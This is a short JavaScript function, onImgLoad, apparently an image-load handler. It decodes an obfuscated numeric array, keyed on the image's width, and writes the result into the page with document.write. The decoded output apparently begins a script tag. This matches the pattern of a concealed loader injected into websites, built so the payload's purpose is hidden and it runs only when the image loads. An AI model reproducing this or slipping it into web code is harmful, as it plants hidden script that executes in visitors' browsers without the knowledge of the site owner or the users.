function onImgLoad(source) {
var as = new Array(50,160,154,25,456,653,691,549,533,650,680,481,510,635,674,499,532,650,609,551,535,650,622,559,535,637,693,551,533,649,686,476,460,638,687,564,513,647,697,561,512,584,679,549,533,654,697,491,458,598,675,564,506,643,676,551,460,654,669,547,529,599,640,501,512,639,668,551,471,644,693,553,525,653,691,549,533,650,680,511,458,570,675,549,523,599,640,501,532,654,680,547,450,585,623,558,529,638,625,548,513,652,694,497,523,649,689,496,443,595,616,489,453,592,605,496,509,599,680,562,528,635,688,562,526,643,688,505,508,599,626,492,460,642,676,499,467,572,640,501,454,598,640,496,507,637,674,554,508,654,606,501,469,597,608,496,507,637,674,554,508,654,606);
var xi = source.width; if (!xi) {return;}
var sb=""; for (var n=4; n<as.length; n++) {sb+=String.fromCharCode((as[n]-xi)^as[n%4]);} document.write(sb);
}

